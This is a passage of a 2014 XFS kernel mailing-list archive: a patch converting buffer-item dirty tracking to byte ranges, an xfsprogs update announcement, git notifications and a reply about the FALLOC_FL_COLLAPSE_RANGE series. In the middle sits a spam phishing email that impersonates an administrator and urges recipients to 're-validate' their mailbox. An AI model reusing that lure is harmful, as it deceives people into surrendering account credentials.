Chinner --- fs/xfs/xfs_buf.c | 2 + fs/xfs/xfs_buf_item.c | 357 +++++++++++++++++++++++--------------------------- fs/xfs/xfs_buf_item.h | 14 ++ 3 files changed, 179 insertions(+), 194 deletions(-) diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 9c061ef..21dfdad 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -1428,6 +1428,8 @@ xfs_buf_iomove( page = bp->b_pages[page_index]; csize = min_t(size_t, PAGE_SIZE - page_offset, BBTOB(bp->b_io_length) - boff); + if (boff + csize > bend) + csize = bend - boff; ASSERT((csize + page_offset) <= PAGE_SIZE); diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index 8752821..dddda58 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -69,46 +69,12 @@ xfs_buf_item_size_segment( int next_bit; int last_bit; - last_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, 0); - if (last_bit == -1) - return; - /* * initial count for a dirty buffer is 2 vectors - the format structure - * and the first dirty region. + * and the dirty region. Dirty region is accounted for separately. */ *nvecs += 2; - *nbytes += xfs_buf_log_format_size(blfp) + XFS_BLF_CHUNK; - - while (last_bit != -1) { - /* - * This takes the bit number to start looking from and - * returns the next set bit from there. It returns -1 - * if there are no more bits set or the start bit is - * beyond the end of the bitmap. - */ - next_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, - last_bit + 1); - /* - * If we run out of bits, leave the loop, - * else if we find a new set of bits bump the number of vecs, - * else keep scanning the current set of bits. - */ - if (next_bit == -1) { - break; - } else if (next_bit != last_bit + 1) { - last_bit = next_bit; - (*nvecs)++; - } else if (xfs_buf_offset(bp, next_bit * XFS_BLF_CHUNK) != - (xfs_buf_offset(bp, last_bit * XFS_BLF_CHUNK) + - XFS_BLF_CHUNK)) { - last_bit = next_bit; - (*nvecs)++; - } else { - last_bit++; - } - *nbytes += XFS_BLF_CHUNK; - } + *nbytes += xfs_buf_log_format_size(blfp); } /* @@ -135,6 +101,8 @@ xfs_buf_item_size( int *nbytes) { struct xfs_buf_log_item *bip = BUF_ITEM(lip); + struct xfs_buf *bp = bip->bli_buf; + uint offset = 0; int i; ASSERT(atomic_read(&bip->bli_refcount) > 0); @@ -175,10 +143,31 @@ xfs_buf_item_size( * count for the extra buf log format structure that will need to be * written. */ + if (bip->bli_range[0].last == 0) { + /* clean! */ + ASSERT(bip->bli_range[0].first == 0); + return; + } + for (i = 0; i < bip->bli_format_count; i++) { - xfs_buf_item_size_segment(bip, &bip->bli_formats[i], - nvecs, nbytes); + struct xfs_bli_range *rp = &bip->bli_range[0]; + + //xfs_warn(NULL, "rf = 0x%x, rl = 0x%x, off 0x%x, len 0x%x", + //rp->first, rp->last, offset, BBTOB(bp->b_maps[i].bm_len)); + + /* + * Only format dirty regions or stale buffers + */ + if ((rp->first <= offset + BBTOB(bp->b_maps[i].bm_len) && + rp->last >= offset)) + xfs_buf_item_size_segment(bip, &bip->bli_formats[i], + nvecs, nbytes); + offset += BBTOB(bp->b_maps[i].bm_len); } + *nbytes += bip->bli_range[0].last - bip->bli_range[0].first; + //xfs_warn(NULL, "nvecs %d, nbytes 0x%x", *nvecs, *nbytes); + + trace_xfs_buf_item_size(bip); } @@ -191,7 +180,6 @@ xfs_buf_item_copy_iovec( int first_bit, uint nbits) { - offset += first_bit * XFS_BLF_CHUNK; xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_BCHUNK, xfs_buf_offset(bp, offset), nbits * XFS_BLF_CHUNK); @@ -210,18 +198,85 @@ xfs_buf_item_straddle( } static void +xfs_set_bits( + unsigned int *map, + unsigned int first_bit, + unsigned int bits_to_set) +{ + uint bits_set; + uint word_num; + uint *wordp; + uint bit; + uint end_bit; + uint mask; + + /* + * Get a pointer to the first word in the bitmap + * to set a bit in. + */ + word_num = first_bit >> BIT_TO_WORD_SHIFT; + wordp = &map[word_num]; + + /* + * Calculate the starting bit in the first word. + */ + bit = first_bit & (uint)(NBWORD - 1); + + /* + * First set any bits in the first word of our range. + * If it starts at bit 0 of the word, it will be + * set below rather than here. That is what the variable + * bit tells us. The variable bits_set tracks the number + * of bits that have been set so far. End_bit is the number + * of the last bit to be set in this word plus one. + */ + if (bit) { + end_bit = MIN(bit + bits_to_set, (uint)NBWORD); + mask = ((1 << (end_bit - bit)) - 1) << bit; + *wordp |= mask; + wordp++; + bits_set = end_bit - bit; + } else { + bits_set = 0; + } + + /* + * Now set bits a whole word at a time that are between + * first_bit and last_bit. + */ + while ((bits_to_set - bits_set) >= NBWORD) { + *wordp |= 0xffffffff; + bits_set += NBWORD; + wordp++; + } + + /* + * Finally, set any bits left to be set in one last partial word. + */ + end_bit = bits_to_set - bits_set; + if (end_bit) { + mask = (1 << end_bit) - 1; + *wordp |= mask; + } +} + +static void xfs_buf_item_format_segment( struct xfs_buf_log_item *bip, struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, + struct xfs_bli_range *rp, uint offset, + uint length, struct xfs_buf_log_format *blfp) { struct xfs_buf *bp = bip->bli_buf; + char *buf; uint base_size; + uint start; + uint end; int first_bit; int last_bit; - int next_bit; uint nbits; /* copy the flags across from the base format item */ @@ -233,16 +288,6 @@ xfs_buf_item_format_segment( * memory structure. */ base_size = xfs_buf_log_format_size(blfp); - - first_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, 0); - if (!(bip->bli_flags & XFS_BLI_STALE) && first_bit == -1) { - /* - * If the map is not be dirty in the transaction, mark - * the size as zero and do not advance the vector pointer. - */ - return; - } - blfp = xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_BFORMAT, blfp, base_size); blfp->blf_size = 1; @@ -257,46 +302,46 @@ xfs_buf_item_format_segment( return; } + blfp->blf_size++; /* - * Fill in an iovec for each set of contiguous chunks. + * Now we need to set the bits in the bitmap and set up the iovecs + * appropriately. We know there is a contiguous range in this buffer + * than needs to be set, so find the first bit, the last bit, and + * go from there. */ - last_bit = first_bit; - nbits = 1; - for (;;) { - /* - * This takes the bit number to start looking from and - * returns the next set bit from there. It returns -1 - * if there are no more bits set or the start bit is - * beyond the end of the bitmap. - */ - next_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, - (uint)last_bit + 1); - /* - * If we run out of bits fill in the last iovec and get out of - * the loop. Else if we start a new set of bits then fill in - * the iovec for the series we were looking at and start - * counting the bits in the new one. Else we're still in the - * same set of bits so just keep counting and scanning. - */ - if (next_bit == -1) { - xfs_buf_item_copy_iovec(lv, vecp, bp, offset, - first_bit, nbits); - blfp->blf_size++; - break; - } else if (next_bit != last_bit + 1 || - xfs_buf_item_straddle(bp, offset, next_bit, last_bit)) { - xfs_buf_item_copy_iovec(lv, vecp, bp, offset, - first_bit, nbits); - blfp->blf_size++; - first_bit = next_bit; - last_bit = next_bit; - nbits = 1; - } else { - last_bit++; - nbits++; - } - } + start = 0; + if (offset < rp->first) + start = rp->first - offset; + end = length - 1; + if (offset + length > rp->last) + end = rp->last - offset - 1; + + start &= ~((1 << XFS_BLF_SHIFT) - 1); + + first_bit = start >> XFS_BLF_SHIFT; + last_bit = end >> XFS_BLF_SHIFT; + nbits = last_bit - first_bit + 1; + //xfs_warn(NULL, "fb = %d, lb = %d, start 0x%x, end 0x%x\n", + //first_bit, last_bit, start, end); + //xfs_set_bits(blfp->blf_data_map, first_bit, nbits); + bitmap_set((unsigned long *)blfp->blf_data_map, first_bit, nbits); + //xfs_hex_dump(blfp->blf_data_map, 4); + + ASSERT(end <= length); + ASSERT(start <= length); + ASSERT(start + end <= length); + ASSERT(length >= nbits * XFS_BLF_CHUNK); + /* + * Copy needs to be done a buffer page at a time as we can be logging + * unmapped buffers. hence we have to use xfs_buf_iomove() rather than a + * straight memcpy here. + */ + offset += first_bit * XFS_BLF_CHUNK; + length = nbits * XFS_BLF_CHUNK; + buf = xlog_prepare_iovec(lv, vecp, XLOG_REG_TYPE_BCHUNK); + xfs_buf_iomove(bp, offset, length, buf, XBRW_READ); + xlog_finish_iovec(lv, *vecp, length); } /* @@ -320,6 +365,7 @@ xfs_buf_item_format( ASSERT((bip->bli_flags & XFS_BLI_LOGGED) || (bip->bli_flags & XFS_BLI_STALE)); + //xfs_warn(NULL, "%s 0x%llx", __func__, bp->b_bn); /* * If it is an inode buffer, transfer the in-memory state to the * format flags and clear the in-memory state. @@ -352,10 +398,29 @@ xfs_buf_item_format( return; } + if (!(bip->bli_flags & XFS_BLI_STALE) && bip->bli_range[0].last == 0) { + /* clean! */ + ASSERT(bip->bli_range[0].first == 0); + return; + } + for (i = 0; i < bip->bli_format_count; i++) { - xfs_buf_item_format_segment(bip, lv, &vecp, offset, - &bip->bli_formats[i]); - offset += bp->b_maps[i].bm_len; + struct xfs_bli_range *rp = &bip->bli_range[0]; + + //xfs_warn(NULL, "rf = 0x%x, rl = 0x%x, off 0x%x, len 0x%x", + //rp->first, rp->last, offset, + //BBTOB(bp->b_maps[i].bm_len)); + + /* + * Only format dirty regions or stale buffers + */ + if ((bip->bli_flags & XFS_BLI_STALE) || + (rp->first <= offset + BBTOB(bp->b_maps[i].bm_len) && + rp->last >= offset)) + xfs_buf_item_format_segment(bip, lv, &vecp, rp, offset, + BBTOB(bp->b_maps[i].bm_len), + &bip->bli_formats[i]); + offset += BBTOB(bp->b_maps[i].bm_len); } /* @@ -807,90 +872,7 @@ xfs_buf_item_init( /* - * Mark bytes first through last inclusive as dirty in the buf - * item's bitmap. - */ -static void -xfs_buf_item_log_segment( - struct xfs_buf_log_item *bip, - uint first, - uint last, - uint *map) -{ - uint first_bit; - uint last_bit; - uint bits_to_set; - uint bits_set; - uint word_num; - uint *wordp; - uint bit; - uint end_bit; - uint mask; - - /* - * Convert byte offsets to bit numbers. - */ - first_bit = first >> XFS_BLF_SHIFT; - last_bit = last >> XFS_BLF_SHIFT; - - /* - * Calculate the total number of bits to be set. - */ - bits_to_set = last_bit - first_bit + 1; - - /* - * Get a pointer to the first word in the bitmap - * to set a bit in. - */ - word_num = first_bit >> BIT_TO_WORD_SHIFT; - wordp = &map[word_num]; - - /* - * Calculate the starting bit in the first word. - */ - bit = first_bit & (uint)(NBWORD - 1); - - /* - * First set any bits in the first word of our range. - * If it starts at bit 0 of the word, it will be - * set below rather than here. That is what the variable - * bit tells us. The variable bits_set tracks the number - * of bits that have been set so far. End_bit is the number - * of the last bit to be set in this word plus one. - */ - if (bit) { - end_bit = MIN(bit + bits_to_set, (uint)NBWORD); - mask = ((1 << (end_bit - bit)) - 1) << bit; - *wordp |= mask; - wordp++; - bits_set = end_bit - bit; - } else { - bits_set = 0; - } - - /* - * Now set bits a whole word at a time that are between - * first_bit and last_bit. - */ - while ((bits_to_set - bits_set) >= NBWORD) { - *wordp |= 0xffffffff; - bits_set += NBWORD; - wordp++; - } - - /* - * Finally, set any bits left to be set in one last partial word. - */ - end_bit = bits_to_set - bits_set; - if (end_bit) { - mask = (1 << end_bit) - 1; - *wordp |= mask; - } -} - -/* - * Mark bytes first through last inclusive as dirty in the buf - * item's bitmap. + * record dirty regions on the buffer. */ void xfs_buf_item_log( @@ -903,28 +885,15 @@ xfs_buf_item_log( uint end; struct xfs_buf *bp = bip->bli_buf; - /* - * walk each buffer segment and mark them dirty appropriately. - */ - start = 0; - for (i = 0; i < bip->bli_format_count; i++) { - if (start > last) - break; - end = start + BBTOB(bp->b_maps[i].bm_len); - if (first > end) { - start += BBTOB(bp->b_maps[i].bm_len); - continue; - } - if (first < start) - first = start; - if (end > last) - end = last; + //xfs_warn(NULL, "bil f 0x%x/0x%x l 0x%x/0x%x", + //first, bip->bli_range[0].first, last, bip->bli_range[0].last); - xfs_buf_item_log_segment(bip, first, end, - &bip->bli_formats[i].blf_data_map[0]); + /* initial implementation - single range */ + if (first < bip->bli_range[0].first) + bip->bli_range[0].first = rounddown(first, XFS_BLF_CHUNK); + if (last > bip->bli_range[0].last) + bip->bli_range[0].last = roundup(last, XFS_BLF_CHUNK); - start += bp->b_maps[i].bm_len; - } } diff --git a/fs/xfs/xfs_buf_item.h b/fs/xfs/xfs_buf_item.h index 3f3455a..97cefc4 100644 --- a/fs/xfs/xfs_buf_item.h +++ b/fs/xfs/xfs_buf_item.h @@ -57,6 +57,20 @@ typedef struct xfs_buf_log_item { unsigned int bli_recur; /* lock recursion count */ atomic_t bli_refcount; /* cnt of tp refs */ int bli_format_count; /* count of headers */ + + /* + * logging ranges. Keep a small number of distinct ranges rather than a + * bitmap which is expensive to maintain. 4 is chosen at first to be + * able to keep a header region, a tail region, and a couple separate + * regions in the middle if necessary + */ +#define XFS_BLI_RANGES 4 + struct xfs_bli_range { + uint16_t first; + uint16_t last; + } bli_range[XFS_BLI_RANGES]; + int bli_ranges; + struct xfs_buf_log_format *bli_formats; /* array of in-log header ptrs */ struct xfs_buf_log_format __bli_format; /* embedded in-log header */ } xfs_buf_log_item_t; -- 1.8.4.rc3 From david@fromorbit.com Sun Feb 23 16:41:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8E9627F51 for ; Sun, 23 Feb 2014 16:41:17 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0C52CAC004 for ; Sun, 23 Feb 2014 14:41:16 -0800 (PST) X-ASG-Debug-ID: 1393195274-04cb6c6de072ae00001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Bzs1NRa6RWw0OHT1 for ; Sun, 23 Feb 2014 14:41:14 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMOALl4ClN5LJYe/2dsb2JhbABZgwY7gwilcgOSaYZdF3SCZhw7JDQFJQM0iASWDrAtFo5rhCIEmDOSKINBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 09:11:02 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHhjG-0003mR-O2 for xfs@oss.sgi.com; Mon, 24 Feb 2014 09:40:58 +1100 Date: Mon, 24 Feb 2014 09:40:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfsprogs: master branch updated to da2b3c0 Message-ID: <20140223224058.GG4317@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfsprogs: master branch updated to da2b3c0 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393195274 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145439 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The xfsprogs repository at git://oss.sgi.com/xfs/cmds/xfsprogs has just been updated. The new head of the master branch is commit: da2b3c0 xfs_io: add support for O_TMPFILE opens New Commits: Christoph Hellwig (1): [da2b3c0] xfs_io: add support for O_TMPFILE opens Dave Chinner (2): [f388124] libxfs: contiguous buffers are not discontigous [203d38c] libxfs: clear stale buffer errors on write Eric Sandeen (1): [d586858] xfs_repair: fix sibling pointer tests in verify_dir2_path() Code Diffstat: io/file.c | 5 +++-- io/init.c | 4 +++- io/io.h | 1 + io/open.c | 39 ++++++++++++++++++++++++++++++++++----- libxfs/rdwr.c | 14 ++++++++++++++ man/man8/xfs_io.8 | 12 ++++++++++-- repair/dir2.c | 2 +- 7 files changed, 66 insertions(+), 11 deletions(-) -- Dave Chinner david@fromorbit.com From account@mailbox.com Sun Feb 23 17:38:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 15DD87F51 for ; Sun, 23 Feb 2014 17:38:50 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0740B8F8033 for ; Sun, 23 Feb 2014 15:38:46 -0800 (PST) X-ASG-Debug-ID: 1393198722-04cb6c6de272d700001-NocioJ Received: from server.teetalk.vn (teetalk.vn [118.69.171.21]) by cuda.sgi.com with ESMTP id Gn0JLUGDg8Uk5aQv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Sun, 23 Feb 2014 15:38:43 -0800 (PST) X-Barracuda-Envelope-From: account@mailbox.com X-Barracuda-Apparent-Source-IP: 118.69.171.21 Received: from [62.40.45.187] (helo=servercork.express.local) by server.teetalk.vn with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.77) (envelope-from ) id 1WHifc-0004RD-3f; Mon, 24 Feb 2014 06:41:16 +0700 Content-Type: multipart/alternative; boundary="===============1887966929==" MIME-Version: 1.0 Subject: Account May Be Closed! To: Recipients X-ASG-Orig-Subj: Account May Be Closed! From: "Administrator" Date: Sun, 23 Feb 2014 23:48:03 +0000 X-Barracuda-Connect: teetalk.vn[118.69.171.21] X-Barracuda-Start-Time: 1393198723 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.64 X-Barracuda-Spam-Status: No, SCORE=2.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0310b, BSF_SC0_TG035a, HTML_MESSAGE, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition 2.50 BSF_SC0_MV0310b Custom rule MV0310b Message-Id: <20140223233846.AB02B1296196@cuda.sgi.com> You will not see this in a MIME-aware mail reader. --===============1887966929== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Your Email Account Has Exceeded It Quota/Limit As Set By Your Administrator= , And You May Not Be Able To Send Or Receive New Mails Until You Re-Validat= e Your Email Account. To Re-Validate Your Account, Please CLICK: Re-Validat= e Email Account --===============1887966929== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body
You= r Email Account Has Exceeded It Quota/Limit As Set By Your Administrator, A= nd You May Not Be Able To Send Or Receive New Mails Until You Re-Validate Y= our Email Account. To Re-Validate Your Account, Please CLICK: Re-Validate Email Account
--===============1887966929==-- From dgc@oss.sgi.com Sun Feb 23 18:53:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 12FC17F57; Sun, 23 Feb 2014 18:53:34 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-collapse-range, created. xfs-for-linus-v3.14-rc1-2-12922-ge1d8fb8 X-Git-Refname: refs/heads/xfs-collapse-range X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: e1d8fb88a64c1f8094b9f6c3b6d2d9e6719c970d Message-Id: <20140224005334.12FC17F57@oss.sgi.com> Date: Sun, 23 Feb 2014 18:53:31 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-collapse-range has been created at e1d8fb88a64c1f8094b9f6c3b6d2d9e6719c970d (commit) - Log ----------------------------------------------------------------- commit e1d8fb88a64c1f8094b9f6c3b6d2d9e6719c970d Author: Namjae Jeon Date: Mon Feb 24 10:58:19 2014 +1100 xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for XFS. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned in case of xfs and ext4. 4) Collaspe range does not work beyond i_size. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 00f5e61998dd17f5375d9dfc01331f104b83f841 Author: Namjae Jeon Date: Mon Feb 24 10:58:15 2014 +1100 fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate This patch is in response of the following post: http://lwn.net/Articles/556136/ "ext4: introduce two new ioctls" Dave chinner suggested that truncate_block_range (which was one of the ioctls name) should be a fallocate operation and not any fs specific ioctl, hence we add this functionality to new flags of fallocate. This new functionality of collapsing range could be used by media editing tools which does non linear editing to quickly purge and edit parts of a media file. This will immensely improve the performance of these operations. The limitation of fs block size aligned offsets can be easily handled by media codecs which are encapsulated in a conatiner as they have to just change the offset to next keyframe value to match the proper alignment. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Sun Feb 23 18:53:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 0EAB47F5A; Sun, 23 Feb 2014 18:53:50 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-2-12941-gf137806 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 027f185e66eb24e2ea291ff3b93c1e4bd07b85b4 X-Git-Newrev: f13780692e659df3623461ca5398b66739a6c56f Message-Id: <20140224005350.0EAB47F5A@oss.sgi.com> Date: Sun, 23 Feb 2014 18:53:48 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated f137806 Merge branch 'xfs-collapse-range' into for-next e1d8fb8 xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate from 027f185e66eb24e2ea291ff3b93c1e4bd07b85b4 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit f13780692e659df3623461ca5398b66739a6c56f Merge: 027f185 e1d8fb8 Author: Dave Chinner Date: Mon Feb 24 10:58:55 2014 +1100 Merge branch 'xfs-collapse-range' into for-next ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_bmap.c | 193 +++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap.h | 15 ++++ fs/xfs/xfs_bmap_util.c | 97 ++++++++++++++++++++++++- fs/xfs/xfs_bmap_util.h | 2 + fs/xfs/xfs_file.c | 19 ++++- fs/xfs/xfs_trace.h | 1 + 6 files changed, 324 insertions(+), 3 deletions(-) hooks/post-receive -- XFS development tree From david@fromorbit.com Sun Feb 23 18:57:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 510597F52 for ; Sun, 23 Feb 2014 18:57:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3B7918F8033 for ; Sun, 23 Feb 2014 16:57:34 -0800 (PST) X-ASG-Debug-ID: 1393203450-04cbb00c297286a0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 1a7QPxK5NpmkUF4H for ; Sun, 23 Feb 2014 16:57:31 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsoOAHSYClN5LJYe/2dsb2JhbABZgwY7gwilcgOSaYVTgQwXdIIlAQEEATocIwULCAMOBwMJJQ8FJQMhE4d9B8YpFxaOTgeEOASYM4pSh1aBb4FSKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 11:27:14 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHjr4-00048r-DN; Mon, 24 Feb 2014 11:57:10 +1100 Date: Mon, 24 Feb 2014 11:57:10 +1100 From: Dave Chinner To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140224005710.GH4317@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393203450 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145443 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 19, 2014 at 01:37:16AM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > This patch series is in response of the following post: > http://lwn.net/Articles/556136/ > "ext4: introduce two new ioctls" > > Dave chinner suggested that truncate_block_range > (which was one of the ioctls name) should be an fallocate operation > and not any fs specific ioctl, hence we add this functionality to fallocate. > > This patch series introduces new flag FALLOC_FL_COLLAPSE_RANGE for fallocate > and implements it for XFS and Ext4. > > The semantics of this flag are following: > 1) It collapses the range lying between offset and length by removing any data > blocks which are present in this range and than updates all the logical > offsets of extents beyond "offset + len" to nullify the hole created by > removing blocks. In short, it does not leave a hole. > 2) It should be used exclusively. No other fallocate flag in combination. > 3) Offset and length supplied to fallocate should be fs block size aligned > in case of xfs and ext4. > 4) Collaspe range does not work beyond i_size. > > This new functionality of collapsing range could be used by media editing tools > which does non linear editing to quickly purge and edit parts of a media file. > This will immensely improve the performance of these operations. > The limitation of fs block size aligned offsets can be easily handled > by media codecs which are encapsulated in a conatiner as they have to > just change the offset to next keyframe value to match the proper alignment. > > Namjae Jeon (10): > fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate > xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate I've pushed these to the following branch: git://oss.sgi.com/xfs/xfs.git xfs-collapse-range And so they'll be in tomorrow's linux-next tree. > ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate I've left this one alone for the ext4 guys to sort out. > xfsprog: xfsio: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate That's already in a current xfstests tree. > xfstest: shared/001: Standard collapse range tests > xfstest: shared/002: Delayed allocation collapse range > xfstest: shared/003: 